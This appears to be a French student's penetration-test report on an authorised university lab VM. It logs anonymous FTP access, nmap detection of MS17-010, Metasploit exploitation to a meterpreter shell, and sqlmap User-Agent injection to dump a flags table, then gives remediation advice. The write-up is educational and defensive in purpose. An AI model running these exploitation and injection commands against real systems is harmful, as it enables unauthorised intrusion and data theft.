Rapport Pentest

Morgan Salhi

Autorisation :

Ce pentest a été réalisé avec l'accord de Monsieur Thomas PROVOST à l'IUT de Sophia Antipolis en R&T qui nous a autorisé à effectuer des tests au sein du réseau afin d'atteindre une machine virtuelle depuis un autre pc et accéder au contenu de celui-ci.

Objectif :

Le but de ce pentest est de trouver 3 différents flags à travers la victime.

Début du pentest :

Etape 1 :

Comme d'habitude, nous scannons l'adresse réseau de la victime en utilisant nmap.

Lorsque le scan est terminé, nous pouvons y voir deux ports ouverts, le premier en http et le second en ftp. (Oublie du screen)

Etape 2 :

Ayant vu le port ftp ouvert, je suis directement allé dessus et pour se faire j'ai tapé les commandes suivantes :

```
root@rtxxx:~/Téléchargements# ftp 192.168.56.102
Connected to 192.168.56.102.
220 Microsoft FTP Service
Name (192.168.56.102:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
```

Ici, je me suis connecté en étant en 'anonymous', c'est un moyen par défaut pour s'y connecter qui permet l'accès public/anonyme.

Comme nous pouvons voir sur la dernière ligne, je suis désormais connecté.

Etape 2 :

Maintenant que j'y suis connecté, l'objectif est de chercher le premier flag. Alors je vais tout simplement effectué la commande suivante :

```
ftp> ls
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
10-20-23  04:44PM       <DIR>          aspnet_client
10-20-23  06:54PM                   62 hidden_flag_asdmgh781x.txt
10-21-23  04:44PM                 9026 iisstart.htm
10-21-23  04:05PM              1272832 login.exe
10-20-23  06:47PM                  373 simplecgi.cs
10-20-23  06:47PM                 3584 simplecgi.exe
10-20-23  06:56PM                  183 web.config
10-20-23  04:44PM               184946 welcome.png
226 Transfer complete.
ftp>
```

Nous pouvons y voir le premier flag nommé 'hidden_flag_asdmgh781x.txt'.

Etape 4 :

Maintenant que j'ai trouvé le flag, je le télécharge.

```
root@rtxxx:~/Téléchargements# atftp 192.168.56.102
tftp> get hidden_flag_asdmgh781x.txt
```

```
root@rtxxx:~/Téléchargements# ls
burpsuite_community_linux_v2024_9_3.sh  hidden_flag_asdmgh781x.txt  Nessus-10.8.3-ubuntu1604_amd64.deb
root@rtxxx:~/Téléchargements#
```

Etape 5 :

Désormais, j'effectue un scan avec Nessus de l'adresse réseau de la victime, et voici les vulnérabilités trouvées :

Pour des raisons qui seront expliquées plus tard, je choisis d'également effectué un scan avec nmap :

```
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 141.64 seconds
```

On peut voir ici que nmap a détecté une faille sur : ms17-010

Etape 5 :

Maintenant que nous avons ces différentes failles, je vais sur metasploit et je cherche les failles et je trouve ce 'ms17-010'.

Je rentre donc les paramètres nécessaires puis je run :

```
[+] 192.168.56.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.56.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

Ici nous pouvons voir que nous avons bien réussi à infiltrer la victime via la faille.

Etape 6 :

Je me déplace dans les dossiers jusqu'à atteindre le flag administrateur :

```
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\users\Administrateur\Desktop
========================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  0     dir   2023-10-20 17:33:37 +0200  Windows Loader v2.2.2
100777/rwxrwxrwx  4832  fil   2023-10-20 16:59:42 +0200  activate.bat
100666/rw-rw-rw-  64    fil   2023-10-20 16:58:57 +0200  administrator_flag.txt
100666/rw-rw-rw-  282   fil   2023-10-20 15:01:03 +0200  desktop.ini

meterpreter > cat administrator_flag.txt
!6CrPS&NSUwJZzqHRezS4pch6vkzoG53ZF#$JJRM@9AJEYzMwpqV$dDoiZiNLq
meterpreter >
```

Etape 7 :

Enfin, pour le dernier flag, nous devons faire des injections SQL afin de faire en sorte que le 'user-agent' nous soit favorable. Nous commençons donc par rentrer cette commande :

```
root@rtxxx:~# sqlmap -u "http://192.168.56.102/login.exe" --user-agent="Firefox-secure*"  --string="OK"
```

Ensuite j'affiche les tables :

```
root@rtxxx:~# sqlmap -u "http://192.168.56.102/login.exe" --user-agent="Firefox-secure*"  --string="OK" --tables
```

```
<current>
[3 tables]
+-----------------+
| flags           |
| sqlite_sequence |
| user_agents     |
+-----------------+
```

Maintenant que je connais les tables, je vais continuer mon chemin vers la table 'flags'

```
root@rtxxx:~# sqlmap -u "http://192.168.56.102/login.exe" --user-agent="Firefox-secure*"  --string="OK" -T flags --dump
```

Cette commande nous montre le contenue de la table :

```
+----+-------------------------------------------------------------------+
| id | text                                                              |
+----+-------------------------------------------------------------------+
| 1  | w@T!2$*i@jFUekxoKoyT!cH6*NwT2h3Y&tL%V8#c@y*4QUPupcaG36WrLiP7t$ |
| 2  | Blue is eternal                                                   |
+----+-------------------------------------------------------------------+
```

Et nous pouvons voir ici le dernier flag qui est 'Blue is eternal'.

Résumé des failles utilisées :

Les failles que l'on a utilisées sont nombreuses.
Premièrement, j'ai utilisé le fait que le port ftp soit ouvert pour tenter une connexion, mais le plus gros problème réside dans le fait que l'on puisse se connecter via un identifiant par défaut (anonymous).

Ensuite, je me suis servi des différents scans que j'ai effectué pour trouver une faille exploitable. J'ai effectué deux scans, l'un sur Nessus et l'autre sur nmap. J'ai utilisé la faille trouvée par nmap car lorsque nous effectuions une recherche de la faille trouvée par Nessus sur metasploit, aucun résultat n'était retourné.

Donc après avoir eu la faille à exploiter, j'ai mis les paramètres nécessaires comme l'adresse hôte, le port etc. Puis j'ai lancé et cela a été une réussite.

Enfin, j'ai fait des injections SQL car pour accéder à la page login du site il fallait un moteur de recherche particulier. Donc l'objectif était d'outre passer cette condition afin d'y avoir accès. Cela nous ramène donc aux injections SQL qui nous a permis de trouver le dernier flag.

Conseils afin de patch les failles :

Pour la première faille, je conseil de mieux sécuriser ftp en mettant des paramètres plus stricts, de désactiver les connexions anonymes et de mettre des identifiants forts.

Ensuite, je conseille vivement de patch la faille 'ms17-010' en appliquant le correctif de celui-ci. Cela évitera grandement des intrusions de la sorte à l'avenir.

Enfin, pour contrer les injections SQL, je recommande de restreindre les permissions d'accès à la base de données. Je recommande également d'utiliser un WAF (cela va permettre de détecter les injections SQL et de les bloquer).

Conclusion :

Dans ce TP, j'ai donc compris qu'un seul outil n'était pas suffisant et qu'il fallait s'assurer de ce que l'on trouve avec d'autres outils. Pour mon cas, j'ai légèrement bloqué lorsque je n'avais que mon scan avec Nessus, je n'arrivais pas à comprendre d'où venait le problème mais grâce à nmap j'ai réussi à me débloquer.

L'ensemble du TP s'est bien passé et j'ai bien compris comment nous avons procédé.

Pentest & Rapport effectué par Morgan Salhi